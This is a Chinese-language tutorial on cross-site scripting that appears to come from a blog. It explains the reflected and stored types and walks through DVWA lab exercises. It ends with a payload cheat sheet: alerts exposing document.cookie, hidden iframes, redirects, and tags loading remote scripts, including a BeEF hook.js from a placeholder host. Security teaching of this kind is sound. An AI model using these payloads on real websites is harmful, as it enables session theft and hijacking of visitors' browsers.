簡介XSS
跨站腳本攻擊XSS(cross site script),爲了避免與css混淆,所以簡稱XSS。XSS是一種經常出現在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。XSS是指惡意攻擊者利用網站沒有對用戶1提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去,使別的用戶訪問都會執行相應的嵌入代碼,從而盜取用戶資料,利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
XSS攻擊的危害包括:
- 盜取各類用戶賬號,如機器登陸賬號、用戶網銀賬號、各類管理員賬號。
- 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據。
- 盜竊企業重要的具有商業價值的資料。
- 非法轉賬。
- 強制發送電子郵件。
- 網站掛馬。
- 控制受害者機器向其它網站發起攻擊。
XSS原理解析
主要原因:過於信任客戶端提交的數據。
反射型(reflected)
反射型XSS又稱非持久性跨站點腳本攻擊,它是最常見的XSS攻擊類型。漏洞產生的原因是攻擊者注入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(每次攻擊需要用戶的點擊)
存儲型(stored)
存儲型XSS又稱爲持久性跨站點腳本,它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久的XSS相比非持久XSS攻擊危害更大,因爲每當用打開頁面,查看內容時腳本將自動執行。谷歌的orkut曾經就遭受到XSS攻擊。
常用方法
常用的JavaScript方法
- alert 用於顯示帶有一條指定消息和一個確認按鈕的警告框。
- window.location 用於獲得當前頁面地址的地址,並把瀏覽器重定向到新的頁面。
- onload 一張頁面或一幅圖像完成加載。
- onsubmit 確認按鈕被點擊。
- onerror 在加載文檔或圖像時發生錯誤。
常用的HTML標籤
標籤 | 應用 |
---|---|
iframe | iframe元素會創建包含另外一個文檔的內聯框架(行內框架)。 |
textarea | textarea標籤定義多行的文本輸入控件。 |
img | img元素向網頁中嵌入一副圖像。 |
– | – |
script | script標籤用於定義客戶端腳本,比如JavaScript。script元素既可以包含腳本語句,也可以通過src屬性指向外部腳本文件。必需的type屬性規定腳本的MIME類型。JavaScript的常見應用是圖像操作、表單驗證以及動態內容更新。 |
dvwa中低級難度的實現
反射型
- 進入環境查看源碼。
源碼如下:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
- 構造XSS腳本攻擊。
我們用alert做個簡單的彈窗:<script>alert('hacked by vergilben')</script>
點擊submit提交查看下結果:
存儲型
- 進入環境查看源碼。
源碼如下:
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
- 構造xss腳本攻擊。
點擊sign guestbook
這個命令已經掛載到了網站上,再次訪問會直接出現彈窗,接下來用win7試一試
打開網頁:
點擊存儲型xss:
OK!現在只要以這個身份進入頁面,一旦點擊存儲型xss就會出現彈窗,也就是我們的小木馬。
構造XSS腳本
-
彈窗警告
用此腳本實現彈窗提示,一般作爲漏洞測試或者演示使用,類似sql注入中的單引號’,一旦此腳本能執行,也就意味着後端服務器沒有對特殊字符做過濾,這樣就可以證明這個頁面位置存在XSS漏洞。
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
-
頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
-
頁面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
-
彈窗警告並重定向
<script>alert("請移步至新網站");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="xxxxxxxx"</script>
-
訪問惡意代碼
<script src="http://www.baidu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js">
-
巧用圖片標籤
<img src="#"alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
未完,等收集到更多的會寫上。
如需轉載,請註明原文出處,作者:vergilben